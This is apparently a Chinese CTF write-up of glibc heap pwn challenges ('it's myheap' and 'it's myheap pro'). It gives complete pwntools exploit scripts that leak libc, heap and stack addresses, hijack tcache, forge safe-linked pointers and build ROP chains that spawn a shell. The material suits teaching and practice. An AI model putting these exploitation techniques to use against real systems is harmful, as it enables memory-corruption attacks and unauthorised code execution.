20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *
r = process('./vuln')
# r = remote('node5.buuoj.cn', 28743)
libc = ELF('./libc.so.6')
e = ELF('./vuln')
context.log_level = 'debug'


def dbg():
gdb.attach(r)
pause()


def add(idx, size):
r.recvuntil(b'>>> ')
r.sendline(b'1')
r.recvuntil(b'please input chunk_idx: ')
r.sendline(str(idx).encode())
r.recvuntil(b'Enter chunk size: ')
r.sendline(str(size).encode())


def delete(idx):
r.recvuntil(b'>>> ')
r.sendline(b'2')
r.recvuntil(b'please input chunk_idx: ')
r.sendline(str(idx).encode())


def view(idx):
r.recvuntil(b'>>> ')
r.sendline(b'3')
r.recvuntil(b'please input chunk_idx: ')
r.sendline(str(idx).encode())


def edit(idx, content=b'/bin/sh\x00'):
r.recvuntil(b'>>> ')
r.sendline(b'4')
r.recvuntil(b'please input chunk_idx: ')
r.sendline(str(idx).encode())
r.sendline(content)


for i in range(7):
add(i, 0x90)
add(7, 0x98) # 可以利用off by one覆盖到下一个chunk的size字段
add(8, 0xf0)
add(9, 0x90)
add(10, 0x90)
add(11, 0x90)
for i in range(6, -1, -1): # tcache 0xa0
delete(i)

payload = b'\x00'*0x98+p8(0xa1) # 实际上chunk8的size是0x1a0
edit(7, payload)
for i in range(12, 12+7):
add(i, 0x190)
for i in range(12, 12+7): # tcache 0x1a0
delete(i)

delete(8) # unsortedbin
add(19, 0xf0) # 实际size是0x100,会从chunk8,也就是unsortedbin中被切割出来。然后chunk9就会有main arena的地址。之所以要这么做是因为chunk9没被free,而chunk8没法泄露地址。
# dbg()
view(9) # chunk9 依然inused,也可以泄露19,但是偏移不太一样
libc_base = u64(r.recv(6)[-6:].ljust(8, b'\x00')) - 0x1ECBE0 # 可以通过vmmap确定
log.success('libc_base: ' + hex(libc_base))
malloc_hook = libc_base+0x1ecb70
one = [0xe3afe, 0xe3b01, 0xe3b04]

for i in range(0, 7):
add(i, 0x90) # 取完tcache 0xa0
# dbg()
add(20, 0x90) # 取unsortedbin
delete(0) # tcache
delete(9) # tcache,其实就是chunk20
payload = p64(malloc_hook)
edit(20, payload)
add(21, 0x90) # 取tcache 原本的chunk9,也是chunk20
add(22, 0x90) # tcache 但是由于chunk9/20的fd被修改,申请到了malloc-0x33的位置
payload = p64(libc_base+one[1])
edit(22, payload)
add(23, 0x90) # 触发hook


r.interactive()

0x0E ptmalloc2 it’s myheap

分析

有add,delete和view三个函数,还有一个泄露puts地址的函数。add函数会申请一个0x18的chunk作为data chunk记录用户申请的buf chunk的size、inused和buf chunk的地址,并且把data chunk记录在chunk list当中,限制只能申请15个chunk。delete和view函数会检查inused字段。delete函数会先释放data chunk后释放buf chunk,然后置零inused,但是并不会将其他信息清零。libc版本是2.35,版本比较高,不能通过hook来getshell,但是可以通过IO_file等手法来攻击。这里选择通过堆风水来申请到栈上构建ROP来getshell。

可以注意到,data chunk是比较好控制的。data chunk上储存着堆地址,如果我想要泄露这个地址,只需要在释放过一个chunk后,再申请一个0x18的chunk就能泄露这些信息。并且也能修改inused字段,这也就意味着我们有机会double free。当然tcache在高版本下没那么好double free,但是可以修改完inused之后利用uaf实现一个chunk同时进入fastbin和tcachebin中,接着就是修改fd到栈上即可,这个fd需要与0x20对齐,并进行key加密。这是一种思路。

还有另一种思路,可以通过修改data chunk上的buf地址,修改为堆头的地址,然后修改tcache_perthread_struct,劫持tcachebin链表,将栈地址写到特定偏移上,然后再申请相应大小的chunk就能申请到栈上。下面的exp利用的是这种思路。

关于栈地址的泄露,由于出题人送了libc地址,所以可以利用environ来获取栈地址,再通过调试找到合适的偏移写入rop链即可。但是实际上栈地址增长不规律,所以exp有1/16几率打通。

EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from pwn import *
r = process('./vuln')
# r = remote('xyctf.top', 28743)
libc = ELF('./libc.so.6') # 2.35
e = ELF('./vuln')
context.log_level = 'debug'


def dbg(script=''):
gdb.attach(r, script)
pause()


def add(idx, size, content=b'/bin/sh\x00'):
r.recvuntil(b'>>> ')
r.sendline(b'1')
r.recvuntil(b'please input chunk_idx: ')
r.sendline(str(idx).encode())
r.recvuntil(b'Enter chunk size: ')
r.sendline(str(size).encode())
r.recvuntil(b'Enter chunk data: ')
r.send(content)


def view(idx):
r.recvuntil(b'>>> ')
r.sendline(b'3')
r.recvuntil(b'Enter chunk id: ')
r.sendline(str(idx).encode())


def delete(idx):
r.recvuntil(b'>>> ')
r.sendline(b'2')
r.recvuntil(b'Enter chunk id: ')
r.sendline(str(idx).encode())


def gift():
r.recvuntil(b'>>> ')
r.sendline(b'114514')
r.recvuntil(b'0x')
puts_addr = int(r.recv(12), 16)
libc_base = puts_addr-libc.symbols['puts']
return libc_base


libc_base = gift()
log.success('libc_base: '+hex(libc_base))
environ_addr = libc_base+libc.symbols['__environ']
system_addr = libc_base+libc.sym['system']
binsh_addr = libc_base+next(libc.search(b'/bin/sh\x00'))
rdi_addr = libc_base+0x2a3e5
ret = 0x401750

add(0, 0x18)
delete(0)
add(1, 0x18, b'a'*0x10)
view(1)
r.recvuntil(b'a'*0x10)
heap_base = u64(r.recv(6).ljust(8, b'\x00'))-0x2c0
log.success('heap_base: '+hex(heap_base))
delete(1)

add(0, 0x20) # 0x30
add(1, 0x20) # 0x30
add(2, 0x50) # 0x60,用来分隔开top chunk
delete(1)
delete(0)

base = heap_base & 0xffff
base = base+0x10
add(3, 0x18, p64(0x1)*2+p64(heap_base+0x10)) # 0x20
delete(1) # 相当于堆头给释放了。这里是通过修改堆头内容来改变tcache链表,使得下一次获取chunk可以打到目标位置。
payload = b'\x00\x00\x01'
payload = payload.ljust(0x88, b'\x00')
payload += p64(environ_addr)
# dbg('b *add_chunk \n b *delete_chunk \n b *view_chunk')
add(1, 0x280, payload) # x0290
add(4, 0x20, b'\x20') # 0x30
view(4)
stack = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
log.success('stack: '+hex(stack))

rbp = stack-(0xe20-0xd30) # 栈位置不固定,有概率打通。原意是劫持add函数的ret地址
delete(1)
payload = b'\x00\x00\x00\x00\x01'
payload = payload.ljust(0x90, b'\x00')
payload += p64(rbp)
add(1, 0x280, payload)
log.success('rsp: '+hex(rbp))

dbg('b* add_chunk+303')
add(5, 0x30, p64(0xdeadbeef)+p64(rdi_addr) +
p64(binsh_addr)+p64(ret)+p64(system_addr))

r.interactive()
调试

myheap打通失败的栈

myheap打通成功的栈

0x0F ptmalloc2 it’s myheap pro

分析

这题和上一题的差别在于:限制了size最大不能超过fastbin大小,然后也没直接给出libc地址。所以这道题需要考虑三个问题:泄露堆地址,泄露libc地址,泄露栈地址。泄露堆地址很简单,依然是利用data chunk申请0x18大小就能泄露。但是libc地址,则至少需要一个大于tcachebin_max的chunk才能被放到unsortedbin中。栈地址则劫持data chunk后利用environ来泄露。所以主要的难点其实在于libc的泄露。

想要释放一个大于0x410的chunk,我们得想办法修改datachunk的size字段和相应buf chunk的size字段。我们考虑伪造一个可以造成chunk重叠的fake chunk,并且劫持一个data chunk使它于fake chunk相关联,如此一来我们就可以重新申请到fake chunk,并且修改其内容,从而改掉与其重叠的chunk的size大于0x410,释放掉我们就得到了unsortedbin中的chunk,通过打印fake chunk我们就能泄露libc地址。

泄露栈地址如出一辙,但是只需要劫持data chunk打到environ即可,然后找到add_chunk函数的ret地址偏移,后续我们把rop链写到其上即可。但是关于打栈就需要思考一下了。因为这题限制了size最大只能0x80,所以不能用上一题的劫持Tcachebin堆头的思路。这里我们依然利用fake chunk来伪造一个data chunk,使得其可以控制另一个fake chunk2,这样我们就可以通过fake chunk2被释放后申请来修改其相邻被释放chunk的fd,从而申请到栈上。

EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
from pwn import *
r = process('./vuln')
# r = remote('xyctf.top', 28743)
libc = ELF('./libc.so.6') # 2.35
e = ELF('./vuln')
context.log_level = 'debug'


def dbg(script=''):
gdb.attach(r, script)
pause()


def cmd(cho):
r.sendlineafter(b'>>> ', str(cho).encode())


def add(i, size, content=b'/bin/sh\x00'):
cmd(1)
r.sendlineafter(b'[?] please input chunk_idx: ', str(i).encode())
r.sendlineafter(b'[?] Enter chunk size: ', str(size).encode())
r.sendafter(b'[?] Enter chunk data: ', content)


def show(idx):
cmd(3)
r.sendlineafter(b'[?] Enter chunk id: ', str(idx).encode())


def delete(idx):
cmd(2)
r.sendlineafter(b"[?] Enter chunk id: ", str(idx).encode())


def exit():
cmd(4)


def de_heap(this, new_next):
base = 0
new_next = new_next ^ this
base = this << 12


def en_heap(this, old_next):
result = 0
this = this >> 12
result = this ^ old_next
return result


# dbg('b *delete_chunk \n b *add_chunk \n b *view_chunk')

add(0, 0x20)
add(1, 0x20)
add(2, 0x50)
delete(1)
delete(0)
# 0->1
# 取的是tcache 0x20中原本chunk 1的data_chunk做chunk 3的buf_chunk,所以可以泄露chunk 1的地址
add(3, 0x18, p64(0x31)*2)
show(3)
r.recvuntil(p64(0x31)*2)
heap_base = u64(r.recv(6)[-6:].ljust(8, b'\x00'))-0x310

print("heap_base=", hex(heap_base))
delete(3) # 注意此时tcache 0x20反向了,因为是先释放的datachunk再释放bufchunk的

add(0, 0x20)
add(1, 0x20)
# heapbase+0x420,伪造了个fake chunk,但实际上空出来的位置距离top chunk的size字段只有0x18的空间。这里布置堆风水,后续利用这个堆重叠几乎可以达到任何地方。
pay = b'a'*0x40+p64(0)+p64(0x91)
add(3, 0x60, pay)
add(4, 0x60)

add(5, 0x60)#一个就会占地0x90
add(5, 0x60)
add(5, 0x60)
add(5, 0x60)
add(5, 0x60)
add(5, 0x60)
add(5, 0x60)
add(5, 0x60)
add(5, 0x60)
add(5, 0x60)

add(7, 0x50, (p64(0)+p64(0x81))*5) # fake chunk2
add(8, 0x50)
add(10, 0x50)
add(5, 0x60)

delete(1)
delete(0)
target = heap_base+0x420
base = target & 0xffff
base = base+0x10
# chunk 3的buf chunk是chunk 1的data chunk,位置在0x2a0。顺便把chunk 1的INUSED改了,所以可以实现double free
add(3, 0x18, p64(0x1)*2+p16(base)) # p64也行

delete(1) # free到了tcache 0x90,与下方两个chunk重叠

# 取的是tcache 0x90,然后把下方重叠的chunk 4的data chunk和buf chunk的size字段给改了,伪造了个0x500的chunk,这样绕过了程序的size检查,可以释放到unsortedbin中,泄露libc地址。前面申请了一堆chunk就是为了这个做准备的。
add(6, 0x80, p64(0)*3+p64(0x21)+p64(0x500) +
p64(1)+p64(heap_base+0x470)+p64(0x511))
delete(4) # unsortedbin 0x510
show(6) # 打印main_arena的地址
r.recvuntil(p64(0x511))
libc_base = u64(r.recv(6)[-6:].ljust(8, b'\x00'))-0x21ace0 # 通过vmmap调试可以得到这个偏移
print("libc_base=", hex(libc_base))
environ = 0x00222200+libc_base
one = [0x50a47, 0xebc81, 0xebc85, 0xebc88]
for i in range(0, 4):
one[i] = one[i]+libc_base

delete(6) # tcache 0x90
pay = p64(0)*3+p64(0x21)+p64(0x50)+p64(1)+p64(environ)
add(6, 0x80, pay) # 获取栈地址
show(4)
stack = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print("stack_addr=", hex(stack))
ret = stack-(0x62208-0x620c8) # 找到add_chunk函数返回的时候的ret地址
rbp = ret-0x8


delete(6) # tcache 0x90
pay = p64(0)*3+p64(0x21)+p64(0x50)+p64(1)+p64(heap_base+0xad0)

add(6, 0x80, pay)
delete(10) # tcache 0x60必须要先释放chunk10,不然后面劫持chunk8的fd,链表中没有chunk用来打栈。高版本会检查chunk链表数量
delete(8) # tcache 0x60
delete(4) # tcache 0x80
print("heap_base=", hex(heap_base))
# 2.35下的fd加密。这里选rbp地址而非直接ret地址是因为fd有对齐要求。
next1 = en_heap(heap_base+0xb20, rbp)
add(4, 0x70, p64(0)*5+p64(0x21)+p64(0x50)+p64(1) +
# 这里将chunk8的inused改为1了。0xb20就是chunk8的buf chunk地址。chunk8此时是free的状态,所以修改fd就可以打栈了。
p64(heap_base+0xb20)+p64(0x61)+p64(next1))

add(9, 0x50, b'a') # 取tcache 0x60,也就是原本的chunk8
delete(4) # 这里释放多一个是因为tcache 0x20中没有有效chunk了,所以补一下
# gdb.attach(p,"b *0x4014be")
print("ret:", hex(ret))
pop_rdx_rbx = 0x11f2e7+libc_base
system = libc_base + 0x050d70
bin_sh = libc_base+0x1d8678
pop_rdi = libc_base+0x2a3e5
ret_addr = 0x4014BF
add(11, 0x50, p64(rbp)+p64(pop_rdi)+p64(bin_sh) +
p64(ret_addr)+p64(system)) # 写rop,结束战斗。注意栈平衡问题。


r.interactive()

0x10

新生赛:让新生感到后悔的比赛。说实话还是能学到很多东西的。出得很好,下次别出了(bushi

堆题还是很不熟悉,都是靠xswlhhh椰撑起来的,是时候努力刷一刷buu的题了。

⬆︎TOP